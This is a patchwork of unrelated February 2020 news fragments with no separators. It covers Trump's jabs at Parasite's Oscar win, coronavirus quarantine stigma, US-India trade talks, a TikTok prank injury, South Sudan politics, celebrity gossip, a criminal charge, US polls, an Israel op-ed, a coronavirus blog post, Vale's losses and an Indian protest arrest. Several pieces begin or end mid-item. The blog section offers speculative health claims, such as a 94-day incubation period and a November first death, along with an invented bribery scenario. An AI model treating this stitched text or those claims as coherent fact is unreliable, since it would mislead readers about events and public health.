diligenceand neverending training. The cost of not doing enough, however, could be even greater. The fact of the matter is that as long as criminals can gain accessto data, they can impact the confidentiality, integrity oravailability of it and theres little a company can do at that point,said KnowBe4s Malik. Companies should appropriately protect datawith cryptography, so that even if criminals gain access to the data,they cannot impact the integrity or confidentiality, he recommended. Finally, thetrend we will likely continue to see is the breaching of companiesthrough the supply chain or other trusted third parties. Donald Trump loves a little controversy and has an appetite to feel liked and accepted. Hollywood is an industry that has consistently bashed his policies since the beginning. During a political rally, he took several jabs at the Academy Awards this year and his enabling constituents were happy to applaud his sarcasm. The White House resident had a problem with Parasite taking home the Best Picture accolade because its from South Korea. Bong Joon-ho and Donald Trump | FREDERIC J. BROWN/AFP via Getty Images / JIM WATSON/AFP via Getty Images How bad were the Academy Awards this year? he asked the crowd. The winner is a movie from South Korea! What the hell was that all about? We got enough problems with South Korea with trade. On top of that, they give them best movie of the year? Was it good? I dont know, he continued trolling. Lets get Gone With the Wind. Can we get Gone With the Wind back, please? Trump went on to say that he believed they were awarded the Best Foreign Film category and asked, Did this ever happen before? Parasite taking home the top award of the Oscar night was historic as it was the first film not in the English-language to take it. Director Bong Joon-ho also took an Academy Award for Best Original Screenplay and Best International Film. Trump also took a dig at Brad Pitt who at the award ceremony said, They told me I only have 45 seconds up here, which is 45 seconds more than the Senate gave John Bolton this week. Im thinking maybe Quentin [Tarantino] does a movie about it in the end, the adults do the right thing. He got up and said little wise-guy statements. Hes a little wise-guy, Trump said of the Best Actor winner. Trump goes off on the Oscars for giving Best Picture to Parasite because it's a South Korean movie pic.twitter.com/GUGKdExTbw Claudia Koerner (@ClaudiaKoerner) February 21, 2020 Trump gets trolled The best way to deal with trolls is to troll them back and that is exactly what the distributor of Parasite did. Understandable, he cant read, the verified Twitter account posted, mocking Trump, as the movie was subtitled in English. Fans of the South Korean film went on to slam Trump for mocking Parasite. Hes only a fan of Gone With the Wind because it has the same name as his haircut, a fan wrote. Just when you think the guy couldnt possibly be a bigger douche, another fan added. Donny seriously thinks he is a comedian, a Twitter user said. Someone please give him a show or a movie role on the condition he resigns. Hes not even funny and they laugh. Dumbing down of America, another Twitter user commented. Martin Scorsese appreciates Bong Joon-ho One Hollywood director that does respect what Joon-ho did in the cinema was Martin Scorsese. The Parasite winner recently said that The Irishman director sent him a letter congratulating him on his accolades. This morning I got a letter from Martin Scorsese, Joon-ho said in a press conference. I cant tell you what the letter said because its something personal. But towards the end he wrote, Youve done well. Now rest. But dont rest for too long. He continued by saying how he and other directors were waiting for my next movie. Joon-hos next project will be highly-sought after his historic wins at the Academy Awards this year. By Andrew Hay and Brad Brooks Feb 20 (Reuters) - When Esther Tebeka, one of more than 1,000 Americans evacuated from China due to the coronavirus outbreak, ended her 14-day quarantine with no signs of the disease, she thought she could get on with her life. Instead, she has had people refuse to come near her or cover their faces with surgical masks due to unfounded fears that she is a coronavirus carrier - making her one of a growing number of Americans who report being shunned or shamed after quarantine. "How many times can I tell people I'm not sick?" said Tebeka, who runs a Chinese medicine clinic in Palo Alto, California, and has seen patients suddenly cancel appointments. "We're not the walking dead." She and her 15-year-old daughter Chaya were among Americans evacuated from Wuhan, China - the epicenter of the outbreak - and Tokyo, Japan, then quarantined on military bases in California, Texas and Nebraska. Hundreds more travelers are self quarantining at home after arriving on commercial flights from affected areas, according to state health departments. Health officials say Americans undergoing daily testing, observation and health precautions of quarantine are among the least likely to transmit the virus. Yet these people are being outed by neighbors, ostracized online and alienated by friends. The World Health Organization and U.S. Centers for Disease Control and Prevention (CDC) have said 14 days represents the outer limits of the virus' possible incubation period. But research this month from China's National Health Commission suggested the incubation period could be as long as 24 days. Healthy commercial airline passengers returning to the United States from coronavirus-affected areas who come down with certain symptoms within 14 days are required to participate in monitoring by health officials, and some may have their movement restricted or be asked to limit contact with others, according to the CDC. 'PANICKED' U.S. travelers, including Amy Deng who underwent home quarantine with her daughter Daisy, 8, said they got no official guidance on arrival to restrict their movement but did so out of a sense of responsibility to their communities. Story continues They avoided close contact with people for two weeks after they returned from visiting family in Guangzhou, China, over 500 miles (800 km) south of Wuhan. That did not stop neighbors calling police over concerns they would spread coronavirus, Deng said. "People were already panicked, then they made up this rumor and spread it, telling us not to even live in the community," said Deng, 45, a Santa Rosa, California, acupuncturist. Since Deng returned on Feb. 4, she has been asked not to enter her office to even pick up a notebook by a woman whose business shares the same lobby space. "People are just showing absolute exaggerated discrimination," said Deng, whose two-week isolation ended this week. Other than evacuated passengers from the Diamond Princess cruise ship, there are only 15 U.S. cases of coronavirus - just two from person-to-person transmission after return - and no deaths. Most of those infected had traveled to the Wuhan area, where the vast majority of the more than 2,100 deaths and 74,000 cases occurred in China. That is still a fraction of the 14,000 flu deaths in the United States this season, according to CDC. The roots of coronavirus discrimination appear to lie in people's instinctual, "visceral disgust" of infectious diseases, rather than scientific fact or racial prejudice, said Cindy Kam, a political science professor at Vanderbilt University. Kam studied Ebola and Zika outbreaks and found people's fear of the diseases outweighed concerns over who might carry them. Matt Galat, an American living in China, returned to the United States this month and revealed online that he was doing a two-week self quarantine with his family, drawing unexpected reactions from followers on his JaYoe Nation YouTube channel. "They said 'you're infecting the whole of my country, you need to get the hell out,'" Galat said. With reports of such experiences, people still in isolation are fearful of what lies ahead. Some were unwilling to discuss their concerns for fear of drawing attention to themselves. "When I get out people are going to recognize me because I've been vocal on social media," said Sarah Arana, 52, who is in quarantine at a California air base after evacuation from the Diamond Princess. "My hope is people won't think I'm latently carrying the virus." Tebeka said ignorance was driving the prejudice: "Don't punish the people who are doing the right thing." (Reporting By Andrew Hay in Taos, New Mexico, and Brad Brooks in Austin, Texas; Editing by Scott Malone and Bill Berkrot) President Donald Trump held out on Thursday the possibility of the announcement of atremendous deal on trade during his upcoming visit to India, but took it back in the same breath, saying the two sides may slow it down for now and do it after the November election in which he is seeking a second term. Prospects of the two sides signing a limited trade deal during the February 24-25 visit have looked slim recent days after a top US trade negotiator cancelled an India visit to wrap up negotiations without ascribing reasons. Trump himself then said he is saving the big deal for later on, possibly after the November election. Yet another twist now. Were going to India, and we may make a tremendous deal there, or maybe well slow it down, Trump said in Las Vegas. Well do it after the election. I think that could happen too. So well see what happens. But were only making deals if theyre good deals, because were putting America first. People familiar with the discussions have not discounted the possibility of the announcement of a deal during President Trumps two-day visit, and have said, optimistically, that efforts are on, but they also seemed reconciled with the eventuality of going through the visit without a deal. The United States is seeking access to Indian markets in dairy and poultry, removal of control over medical device prices in a limited trade deal and India has sought relief from tariffs on is steel and aluminium exports to the US and restoration of benefits under a zero-duty preferential trade programme. A larger and more ambitious agreement was left for sometime in the future. It would include a Free Trade Agreement and resolutions of the other more complex issues. But President Trump may have merged the two now as he has spoken in recent says of a big deal, the one he has saved for later. The announcement of a limited deal was expected to be the defining achievement of Trumps first visit to India as president (he was in Mumbai in 2014 in connection with his businesses). But with the talks stalemated, both sides appeared more focussed on a public rally Trump is addressing in Ahmedabad. The American president has spoken of the rally several times and with much excitement. He expects to see millions of people from the airport to the stadium, as promised to him, he has said, by Prime Minister Narendra Modi. He has seemed impressed with the numbers, how they compared with the crowds of 50,000 he is drawing at home. President Trump has also been playfully pushing a rivalry with Prime Minister Modi for supremacy of Facebook. For the second time, he brought it up on Thursday and twice, in Las Vegas and in Colorado, his next stop. He cited Mark Zuckerberg, the social media sites founder, to claim he is No 1 and Modi No 2. Zuckerberg told him so at a dinner three weeks ago. And Trump , who cares about numbers and crowd sizes, brought it up with Modi. I congratulated Prime Minister Modi (on coming second). I said, But, you know, you have 1.5 billion people. I have 350 million. You have an advantage. It could not be ascertained how Zuckerberg declared Trump No 1, and Modi No 2, if he did indeed. Modi appears way ahead of the American president in likes and followers on his Facebook page, created in May 2009, with 44,380,858 followers and 44,624,128 likes till earlier in the week. Trumps page, created in April 2009, listed 27,543,545 followers, and 25,969,909 likes. Another page, in the name of President Donald J Trump, created just days before his inauguration in January 2017, has 5,388,767 followers and 3,100,731 likes. Even totaled, Trump comes up short. But he fares much better on Twitter though. With 72.5 million followers, he easily beats Prime Minister Modi, who crossed 50 million last September and is now at 53 million. A middle school student in Lawrence is recovering after unknowingly becoming part of the viral TikTok challenge known as the skull breaker challenge." 13-year-old Kathleen DeJesus told NBCBoston the fall during the challenge caused her to have a concussion, her body became numb and she ended up in the hospital. I was thinking, like, I feel like I was going to die, DeJesus said. The challenge involves three people but only two out of the three participants are in on it. So, when three people line up in a row all expected to jump, the two people on the outside dont jump. Instead, they kick the legs out from the middle, unsuspecting person causing them to fall. DeJesus isnt the only one. There have been numerous reported injuries related to the challenge. The challenge reportedly began in Spain and started gaining momentum. But Refinery29 claims it continued to gain popularity due to the increased worry from parents. Doctors warn that although it might seem like a harmless prank," the injuries can be serious. "It can be associated with a variety of serious and even life-threatening injuries including, but not limited to, bruising, hematoma, skull fracture, neck strain, neck fracture, concussion and long term complications of concussion, bleeding in or around the brain, loss of consciousness, paralysis, and death, Nathan Richards, MD, at The Ohio State University Wexner Medical Center, told Yahoo. Which is exactly why DeJesus is speaking out about her experience. I just feel like it needs to stop," DeJesus said. Its getting out of hand. Related Content: Source: Xinhua| 2020-02-21 11:49:01|Editor: Wang Yamei Video Player Close CAPE TOWN, Feb. 20 (Xinhua) -- South African President Cyril Ramaphosa, in his capacity as the African Union (AU) chair, welcomed on Thursday an agreement between conflicting parties in South Sudan to form a coalition government on Feb. 22. This agreement will help preserve the unity of the people of South Sudan and bring about durable peace and stability in the country, Ramaphosa said as the AU Peace and Security Council concluded a three-day field mission to the world's youngest nation. The decision to form the Revitalized Transitional Government of National Unity (R-TGoNU) was reached earlier in the day between Salva Kiir Mayardit, president of South Sudan, and Riek Machar, leader of the Sudan People's Liberation Movement-in-Opposition. "Today's breakthrough in Juba, South Sudan is a major step in our collective efforts to silence guns in Africa," said Ramaphosa. On Saturday, Kiir said that after meeting with Machar, he had decided to return the country to 10 states plus three administrative areas, clearing a major hurdle before the deadline to form the R-TGoNU, as the number of states has been a contentious issue for several years. This announcement was made almost two weeks after Ramaphosa held separate meetings with both Kiir and Machar on the eve of the 33rd session of the AU Assembly of Heads of State and Government in Addis Ababa, Ethiopia. Ramaphosa encouraged the two rival leaders to redouble their efforts towards a speedy resolution to the outstanding issues in the implementation of the Revitalized Agreement on the Resolution of Conflict in South Sudan (R-ARCSS), signed on Sept. 12, 2018. In his statement, Ramaphosa commended Kiir and Machar for displaying statesmanship and a spirit of compromise, which paves the way for the formation of the R-TGoNU in accordance with the R-ARCSS. The installation of the R-TGoNU will mark a major turning point in efforts to bring unity, peace and stability in South Sudan, Ramaphosa said, urging all the political parties in South Sudan to join the transitional government. He reiterated the AU's determination to continue working with the government and people of South Sudan to achieve lasting peace, stability and prosperity in the country. Shortly after its independence from Sudan in 2011, South Sudan plunged into civil war. It is estimated that since late 2013, at least 300,000 people have been killed, some 1.8 million people displaced internally and 2.5 million have fled to neighboring countries. He's rumoured to be dating mother-of-two Amanda King, whom he met at his daughter's primary school. And former Today show weatherman Steve Jacobs was spotted enjoying a lively brunch with his supposed girlfriend on Thursday. The pair were seen dining at the popular Le Paris cafe in Bondi Beach, Sydney. Fancy seeing you again! Former Today show weatherman Steve Jacobs (right) had brunch with his rumoured girlfriend, Amanda King (left), in Bondi Beach on Thursday Amanda looked rather animated as she chatted to the ex-Channel Nine presenter. She showcased her youthful fashion sense in a ripped white T-shirt with skinny jeans, and styled her blonde hair in a pixie cut. Amanda completed her look with a cross-body handbag, aviator sunglasses and strappy black sandals. She's lively! Amanda looked rather animated as she chatted to the ex-Channel Nine presenter Meanwhile, Steve kept things casual in a black T-shirt and white chino shorts, and added a touch of bling with a silver bracelet. The rumoured couple quenched their thirst with a bottle of S.Pellegrino sparkling water as they waited for their coffees. On October 26, the pair were spotted looking flirty during a boozy picnic at Bronte Park. At one stage, Amanda even flashed her chest at Steve. Brunch date! The pair were seen dining at the popular Le Paris cafe in Bondi Beach, Sydney Despite rumours of a romance, Steve told Daily Mail Australia last year that their relationship was strictly platonic. 'Sorry to disappoint, but there's nothing romantic happening between the two of us,' he said. 'We're great mates.' Steve was previously married to TV presenter Rosie Jacobs, who is the mother of his two daughters, Isabella and Francesca, but they separated in 2017. Nothing to see here! Despite rumours of a romance, Steve told Daily Mail Australia last year that his relationship with Amanda was strictly platonic They split just months after relocating to Vanuatu in what friends described at the time as a 'last-ditch attempt' to save their seven-year marriage. 'I think there were a few people who sensed something was up when they moved to Vanuatu,' a friend told Daily Mail Australia in 2018. 'The sea change was basically a last-ditch attempt to make things work, but it wasn't to be unfortunately.' Making friends: On October 26, the pair were spotted looking flirty during a boozy picnic at Bronte Park. At one stage, Amanda even flashed her chest at Steve Steve famously quit the Today show in 2016 to work on his marriage, before returning to the network in 2017 as a weather presenter on Weekend Today. He rejoined the main Today show for its 2019 relaunch, but was let go later in the year and replaced by Tim Davies. Daily Mail Australia has contacted Steve Jacobs and Channel Nine for comment. Funemployed! Steve used to be the Today show's weather presenter, but was replaced by Tim Davies several months ago ST. CHARLES COUNTY A man is facing a child pornography charge after developing a romantic relationship with a 16-year-old Arizona girl, police said Friday. Larry Edward Deutsch, 54, of OFallon, Missouri, was charged Thursday in St. Charles County Circuit Court with one felony count of possession of child pornography. Investigators believe there may be other victims in the county and in Troy. Charging documents said police found pornographic images while searching for the missing Arizona girl. Deutsch met the girl while he was serving as a bishop of The Church of Jesus Christ of Latter-day Saints, and they developed a romantic relationship after she moved with her family to the Phoenix area, the documents said. She claimed that they planned to marry in May 2021, the documents said. Despite an order of protection obtained against Deutsch by her parents, Deutsch flew to Arizona earlier this week, bought her a new Nissan Rogue SUV and the pair then drove through the night to an apartment in St. Louis, the documents said. The girls family initially thought the pair was heading to California or Mexico, according to social media posts about her disappearance. "Dear Senate committee, wage theft as I know it in the hospitality industry is at epidemic proportions." It was the opening statement to a submission written by a chef of 36 years to a Senate inquiry into the unlawful underpayment of wages. "I have rarely met an individual in my working life that has not been affected by wage theft or super guarantee theft." George Calombaris has been caught up in a wage underpayments scandal. Credit:Simon Schluter He asked the inquiry to consider what they would do if half their income and superannuation had been stolen and their hours cut from 70 hours to six hours a week after bringing it to the employers attention. The restaurant, based in Queensland and owned by a group of solicitors, never paid weekend penalty rates or a split shift allowance, paid him a flat rate under the award and failed to give him a rostered day off for three months or a break during his shifts. Meanwhile, Mr. Trumps approval rating has risen, most likely lifted by the strength of the economy and his acquittal in the Senates impeachment trial. His Gallup approval rating hit 49 percent this month the highest number of his presidency. So while a majority of Americans still disapprove of him, he has the potential to win at least as much support as he did in 2016, when he lost the popular vote but pulled off a decisive win in the Electoral College. The ABC/Washington Post poll showed that in head-to-head matchups with all six of the candidates onstage at the debate, Mr. Trump would earn between 45 and 47 percent of the vote nationwide. The Democrats shares varied from 49 to 52 percent. The differences between each Democrat were all within the polls margin of error. This suggests that, despite Mr. Sanderss claim that a political revolution would be needed to drive turnout, and in spite of his more moderate rivals argument that his left-wing proposals would alienate a huge swath of voters, any Democratic nominee would probably have a good chance of winning the popular vote. But Republicans have won the Electoral College three times this century, even though they have won the popular vote only once. So what really matters is who can beat Mr. Trump in a handful of key swing states. Thats why Quinnipiac University asked voters in Michigan, Pennsylvania and Wisconsin three states that Mr. Trump narrowly flipped in 2016, giving him an Electoral College win to choose between the president and each of the six leading Democratic candidates. The data from those polls suggests that Mr. Trump is in a very strong position to win Wisconsin, a heavily white state that was once solidly blue but has trended conservative over the past 10 years. None of the six leading Democratic candidates finished ahead of Mr. Trump there. Conversely, in Michigan and Pennsylvania, he didnt have a lead against any of them. Mr. Biden beat Mr. Trump by eight percentage points in Pennsylvania where he was born and by four points in Michigan. Mr. Sanders was up by five points against the president in Michigan, and by four points in Pennsylvania. Mr. Bloomberg led Mr. Trump by six points in Pennsylvania, and by five points in Michigan. In Donna Nevels Feb. 7 op-ed in the Orlando Sentinel (Bloombergs kibbutz comment brings to mind Zionist history), the self-styled social justice activist author capitalizes on an opportunity to convert a simple sentence on socialism into a wildly distorted and historically inaccurate diatribe against Israel and reality. In her highly romanticized rendition of history, the author portrays the creation of Israel as a catastrophe for the Palestinians. She offers the Palestinian narrative of the Naqba, or Catastrophe, which resulted in the displacement of more than 750,000 Palestinians from their homes. She selectively chooses to omit the fact that an equal number of Jews were forcibly evicted from the surrounding Arab states at the same time. Apparently, the concept of social justice for the author is only applied to some and not others. She then descends into the worn and historically disproven claim that Israel somehow practices a form of apartheid. While it is true that there are apartheid states in the Middle Eastand even apartheid regimes that single out the Palestinians within their borders for segregation, mistreatment and abuseIsrael is not one of these regimes. The author fails to acknowledge that, to the north, Lebanon refuses its Palestinians the right to work, marry Lebanese or even to leave the squalor of their forced existence in refugee camps. Even more egregiously, she omits the fact that to the south, in Gaza, Palestinians live on liberated land free from either Egyptian or Israeli control, yet suffer under the brutal oppression of the Hamas terrorists who control the territory and forcibly use the residents as human shields. Israel, while clearly imperfect, has been a relative model of freedom and success for the Palestinians in her midst. Israel is the only place where Palestinians enjoy the right to vote, freedom of assembly, national healthcare, subsidized university education and the ability to travel abroad. Unlike every one of its neighboring nations, Israel instead chooses to engage its Palestinian neighbors within Israels borders, rather than disenfranchise them. From the bench of Israels Supreme Courtwhere a Palestinian judge cast a vote to successfully imprison a corrupt Israeli Prime Ministerto the valedictorian of Israels leading university, to its selection of a Palestinian Miss Israel, to the thousands of Arab Druze and Bedouins who serve in the Israeli Army, Palestinians in Israel are hardly living in an apartheid state, and indeed enjoy their greatest opportunities for success in the region. The author closes her case on Israel with a plea of support for the widely discredited and anti-Semitic BDS (Boycott, Divestment and Sanctions) movement that has ironically done more to harm the interests of Palestinians than support them. The BDS movement has been recognized by the German and Austrian governments as a form of anti-Semitism, and here in the U.S., some 27 states (including Florida) have laws to protect us from its bigotry. The author seems to be on the wrong side of both history and the truth. As former Senator Daniel Moynihan, D-N.Y., put it: Everyone is entitled to their own opinion, but not to their own facts. The author of Fridays column has not only distorted the facts, she has distorted history itself and, like the BDS movement, will ultimately do more harm than good for the Palestinian cause. With friends like the author, the Palestinians hardly need enemies. This article was originally published at OrlandoSentinel.com. Aaron Weil is the CEO of Central Florida Hillel and lives in Orlando. Yves here. One might argue that Ilari has chosen the most alarming information about the coronavirus and then written a post about it. However, it does appear that some reports contain bad facts that havent gotten the attention they warrant. It is apparent that the Chinese dont have a good vantage on their own problem. The hospitals are full. Many people who are sick are quarantined at home. And its been found that people who have gotten the coronavirus can test negative, even repeatedly, and then test positive (my impression is after they become symptomatic). So even with universal testing, there would still be a great uncertainty as to how many people had contracted the coronavirus. And on top of that, the Chinese have incentives to misrepresent if coronavirus propagation isnt slowing. For a mainstream report that echoes Ilargis downbeat take, consider As Wuhans desperate and sick beg for help, China shuts them down from the Guardian a few days ago. Key bits: I got to know [Dr.] Song [in Wuhan] when I was helping a medical supplies donation group. He was not the only one pleading for help via social media I was contacted by dozens of medical workers, who all described a desperate situation. I also received a lot of pleas for help from patients. They had been waiting in packed hospital lobbies for days, in fear of being left untested, untreated and ultimately dying from what is now officially called Covid-19. Some people had felt ill for almost a week, and in that time, their family members had started to feel ill as well. But they had a long wait to be diagnosed and treated. On Weibo, one of the biggest social media platforms in China, there is a group of more than 150,000 people mostly patients and their families asking for help. Reading through the posts, its clear there is a shortage of everything. Many people have to decide whether to prioritise their mother or daughter, grandson or grandfather, wife or husband. In mid-January, a nurse told me that medical workers in Wuhan had been advised to not wear protective gear to avoid causing panic. Later, Song told me that medical workers had been advised not to appeal for help on public media outlets. Now 1,700 medical workers nationwide have been infected. Finally, Ambrose Evans-Pritchard of the Telegraph predicted earlier this month, that China could not contain the virus without sacrificing its economy, and it would choose the latter over the former. But China could wind up with a lose/lose. Will enough container ship operators and airlines trust Chinas claim that things are getting better, given that they must have figured that China cant be sure of the truth of the matter and has powerful incentives to downplay a bad trajectory, if thats the way things appear to be going. So China could free up internal movement yet have foreign transport companies remain leery of resuming service until they have more proof than just the governments word. Having said that, Ilargi relies on ZH twice, the second time ZH quoting a supposed story in the Taiwan Times..which I have been unable to find in multiple Google searches or in searches on the Taiwan Times site proper. The claim it makes isnt critical to Ilargis piece. In the interest of not propagating potential misinformation, I have removed that section, and indicated where it sat with [..]. By Raul Ilargi Meijer, editor of Automatic Earth. Originally published at Automatic Earth A few days ago, I was thinking of writing another coronavirus article, focusing on two things: 1) the ease and speed with which the virus spreads -because I think that is hugely underestimated-, and 2) testing. But then the situation with the two cruise ships started going berserk. I had intended to use the Diamond Princess as a case for the ease and speed of infection, but it became clear quite rapidly that you cant use the ship to prove any case, other than that people are completely nuts. But we already knew that. And while Dostoyevsky wrote some great books on the topic, its not a great framework for a piece on a virus. Unless perhaps if it infects the brain. Not that I dont think the ship is still a good example to make the point, but too much plain bonkers stuff has been going on with and around it. The quarantine, the evacuations, the infection numbers, you name it. Ill get to the testing later, that was/is a whole other chapter. A problem, if youre me, with letting an essay simmer for a bit, is that ever more sources start accumulating, until theres too many to either comprehend or use in an effective way. First thing to do is not to wait another day. Lets start with 1) The ease and speed with which the virus spreads, aka transmissibility, and see where we land. 1) The ease and speed with which the virus spreads People continue to have this idea that COVID19 isnt all that bad, yada yada, an analysis crowned by the comparisons to seasonal flu. Which make no more sense then to compare it to bovine flatulence. Stop it. The way and extent the virus was spreading aboard the Diamond Princess became clear before the evacuation efforts. The US government, and others, were watching it happen, and pulled the plug. What the Japanese were doing and thinking is less clear. Its sort of fun to see Washington refrain from calling Tokyo on it, best allies and all, but it makes you think at the same time. So if using the Diamond Princess is not a good example, we need to look elsewhere. This Feb 16 Zero Hedge graph of infections outside China might be a good start. Whether it represents an exponential or a quadratic function is sort of an inside joke by now, but its clear enough in either case. Even more obvious perhaps is this from the South China Morning Post (SCMP): Coronavirus Up To 20 Times More Likely Than Sars To Bind To Human Cells The deadly new coronavirus is up to 20 times more likely to bind to human cell receptors and cause infection than severe acute respiratory syndrome (Sars), a new study by researchers at the University of Texas at Austin has found. The novel coronavirus and Sars share the same functional host-cell receptor, called angiotensin-converting enzyme 2 (ACE2). The report, published on the website bioRxiv on Saturday, said the new coronavirus had around 10 to 20-fold higher affinity the degree to which a substance tends to combine with another for human ACE2 compared with Sars. But the researchers added that further studies were needed to explore the human host-cell receptors role in helping the new virus to spread from person to person. Compared with SARS-CoV, 2019-nCoV appears to be more readily transmitted from human to human, the report of the study said. The high affinity of 2019-nCoV S for human ACE2 may contribute to the apparent ease with which 2019-nCoV can spread from human to human. The ACE2 receptor has already been reported as being much more prevalent among Asian people, but please dont presume the buck stops there. Non-Asians have them as well, and were not even sure what role they play, or if fewer of them would protect you from being infected. Allegedly, smokers have more ACE2 enzymes as well. As do older people. Another transmissibility example is the death of an entire family in Wuhan: Virus Kills Chinese Film Director and Family in Wuhan A Chinese film director and his entire family have died from the novel coronavirus in Wuhan, the epicenter of the outbreak. Chang Kai, a film director and an external communications officer at a Hubei Film Studio subsidiary, died in hospital on Feb. 14 from the virus now called COVID-19, according to a statement from the studio. He was 55. But Changs death was not the first in his familythe Chinese media reported that Changs father and mother were infected and died one after the other. Chang and his sister, who looked after their parents at home, were both infected with the virus as a result. His sister died just hours later. Changs wife is also infected, still alive, and is still battling the virus in an intensive care unit. But everything above loses most of its meaning compared to the following, also from the South China Morning Post. You might want to sit down for this one. Until now, accepted knowledge is that the first death from COVID19 was registered on January 9, 2020, a 61-year old man in Wuhan. And that the incubation time for the virus was maximum 14 days hence the 2-week quarantines everywhere. No more. The government of Xinxian county, in the city of Xinyang, on Sunday reported that one of its new cases had been confirmed 34 days after the patient returned from a mid-January visit to Wuhan. He had been sent to hospital with suspected symptoms on January 28, but twice tested negative before testing positive on February 16. A further two people who attended family gatherings with the man in Xinxian were reported as infected, while three were suspected cases or under hospital quarantine. The county government announced it would extend the home quarantine period from 14 to 21 days for residents who had been to Hubei or had contact with people who had been there. It also reported a case that was confirmed 94 days after the patients contact with a relative from Hubei. The patient had taken care of his father-in-law, who arrived from Wuhan on November 13 and died days later. The son-in-law continued to stay in the father-in-laws house until January 31. However, the government statement said the origin of the son-in-laws infection had yet to be identified. Zhuhai, in the southern Guangdong province, last week reported two cases with incubation periods longer than 14 days. Similar cases have also been reported in Anhui and Shandong provinces. This potentially pushes back the first known case to November 13, 2019 and the first known death to November 13 and change. Died days later. Shall we say 4-5 days? That means the first fatality was November 17-18. While incubation time may have been pushed forward to 94 days. 2) Testing The most important term coming out of the coronavirus news, going forward, will be false negative. Closely followed by asymptomatic. There are tons of stories about people testing negative 2-3-4- times before testing positive. And also tons of stories about people with no symptoms infecting others. Its all about the things you dont see. The Chinese had it about as wrong as can be early on, and knee-jerked into the Party deny and hide mode. They have it right now, though: the only way to keep the virus from spreading is to limit contact between people, even if that may seem to reach extreme proportions. If there is no vaccine, there is no other way. But if its just the Chinese that do isolation, that solves nothing. When I first read that the passengers of the Holland-America Line cruise ship Westerdam had been allowed to leave the ship when it landed in Cambodia a week ago after, I think, 9 days of floating around aimlessly, I thought this was a Go Forth and Multiply message for the virus. Second thought was: whos in charge here? Still wondering about that one. The Westerdam had 2,257 people on board, 1,455 passengers and 802 crew. They were not allowed to dock anywhere after a man who had gone off board in Hong Kong tested positive. As we speak, some 255 passengers and 747 crew members are still being held on the ship while further testing was conducted. That means 1,200 passengers and 55 crew have left the ship. Cambodia let lots of them fly to Malaysia, and they flew all over from there. And only then did they discover an 83-year old American woman who had already flown to Malaysia had tested positive. The ship had a lot of Americans (400?) , Canadians and Dutch people on board. Where did they go? Mostly home, of course. And now all those countries are scrambling to locate these people. Even if they do, who have they infected in the meantime? Theyve been in close proximity to others, like on planes. And, again, whos in charge? Did the Holland-America people, and the Cambodian government, keep in constant touch with the WHO and the Chinese? Would it have made any difference if they did? Or is it as bad as it seems, a Wild East sort of set-up with everyone fending for themselves? What are the odds that someone in the Cambodian government now has a new offshore bank account with $10 million in it, in a deal made before the 83-year old American woman tested positive, in exchange for letting the ship dock and making sure the passengers would leave ASAP? Hard as it may seem to imagine, the Diamond Princess may be, and have been, even more of a mess than the Westerdam. Someone said: it was a mess on board, and the mess is now moving off board. And now we have the first 2 fatalities from the ship. Diamond Princess: everyone confined to their cabins, little interaction, but still in the past week numbers of new infections have exploded, with many dozens of new cases every day. So now we have a total of what, 500-600 new infections ever since the US said: enough! Why were they, why were larger numbers, not discovered earlier? Well There were 3,711 people on board. 5-6 days ago, 10-12 days after the first positive test, 1,219 had been tested. Which means that after 10+ days of quarantine, less than a third had actually been tested. As of Monday, 2,404 passengers and crew, out of the 3,711, had been tested. That still left 1,300. Many of whom are now gone. The remaining 61 American passengers on the Diamond Princess who opted not to join the evacuation will not be allowed to return to the US until March 4, according to the American embassy in Tokyo. Undoubtedly some logic behind the lack of testing until recently will be offered by Tokyo, but you must wonder how many of the 542 new cases of the last four days had been tested at all, and how long some of them had been infected, probably without showing any signs. For instance, the 14 cases on the flights to the US this week were all asymptomatic virus carriers. All of them, according to official channels. And now we read that Japan has no intentions of quarantining its citizens who were on board the Diamond Princess: Earlier in the week, the United States evacuated more than 300 nationals on two chartered flights. A State Department official said there were still about 45 US citizens on board the cruise ship as of Thursday. Americans flown back will have to complete another 14 days quarantine, as will returning Hong Kong residents. Disembarked Japanese passengers, however, face no such restrictions, a decision that has sparked concern. [..] We will now start to see the economic effects (you havent seen anything yet in that regard). More on that later. Rule of thumb: companies have 1-2 weeks of supplies in stock. Just-in-Time. Then they need more delivered. But the Chinese economy is on its last legs. Please dont think its about Apple or some other major company. This is about a million smaller companies and (chain) stores in the west. What was it, 80% of US drugs come from China? Or was that just antibiotics? There are ways to minimize the damage a virus can do. Mankind as a whole, in the places where the proverbial chain literally is as strong as the weakest link, has not minimized it. Instead it has told the virus: Go Forth and Multiply. Prepare accordingly. If were lucky, this will die down and pass. But thats the problem: itll happen only if were lucky, not because weve done all we know we could. Source: Xinhua| 2020-02-21 12:37:08|Editor: huaxia Video Player Close RIO DE JANEIRO, Feb. 20 (Xinhua) -- Brazilian mining giant Vale said Thursday it made a net loss of 1.68 billion U.S. dollars in 2019, down from net earnings of 6.86 billion dollars in 2018. The negative outcome was attributed mainly to the collapse of a tailings dam owned by Vale in Brumadinho in the southeastern Brazilian state of Minas Gerais in January 2019, which killed more than 270 people. The company said that its cash generation in 2019 was 8.1 billion dollars, and that it "remains committed to increasing the safety of people and repairing the damage caused by the breach of Brumadinho dam." In January, local prosecution office filed charges against 16 individuals, including former Chief Executive Officer of Vale Fabio Schvartsman, who was accused of homicide. Prosecutors earlier said both Vale and consulting company TUV SUD were aware that an unacceptable degree of risk existed in the dam before it collapsed. But the two companies did not inform the authorities. Instead, TUV SUD, which was supposed to make an independent audit of Vale's activities, colluded with Vale to make fake reports, authorities said. We might adopt the wisdom of Abraham Lincoln. His Republican Party was officially against polygamy. But in a meeting with a Mormon emissary, President Lincoln recalled that as a farm boy, he sometimes encountered a fallen log that was too hard to split, too wet to burn, and too heavy to move, so we plowed around it. Thats what I intend to do with the Mormons. You go back and tell Brigham Young that if he will let me alone, I will let him alone. A day after a 19-year-old student activist was arrested for raising "Pakistan Zindabad (Long Live Pakistan)" at an anti-CAA rally in Bengaluru, Karnataka Home Minister Basavaraj Bommai said anti-CAA protesters are using students to stoke hatred across India which is part of a larger conspiracy. Sources report that Bommai is currently probing into Leona's alleged Maoist links. "Amulya has been sent to judicial custody for 14 days. We are looking into the background of the whole thing. She has shared similar things on social media. We are trying to ascertain who were the organisers of this protest," Basavaraj Bommai told ANI. He added the incident was part of a larger conspiracy of the anti-CAA agitation. "The protesters are trying to stoke hatred amongst communities. They are using students of JNU, AMU and other universities. In the present case, they used Amulya who comes from a Naxal-affected region." READ | Amulya Leona's Chikmagalur Home Vandalised By Miscreants After Her 'Pro-Pak' Slogans 'Pro-Pakistan' slogans Student activist Amulya Leona raised 'pro-Pakistan' slogans at a Bengaluru 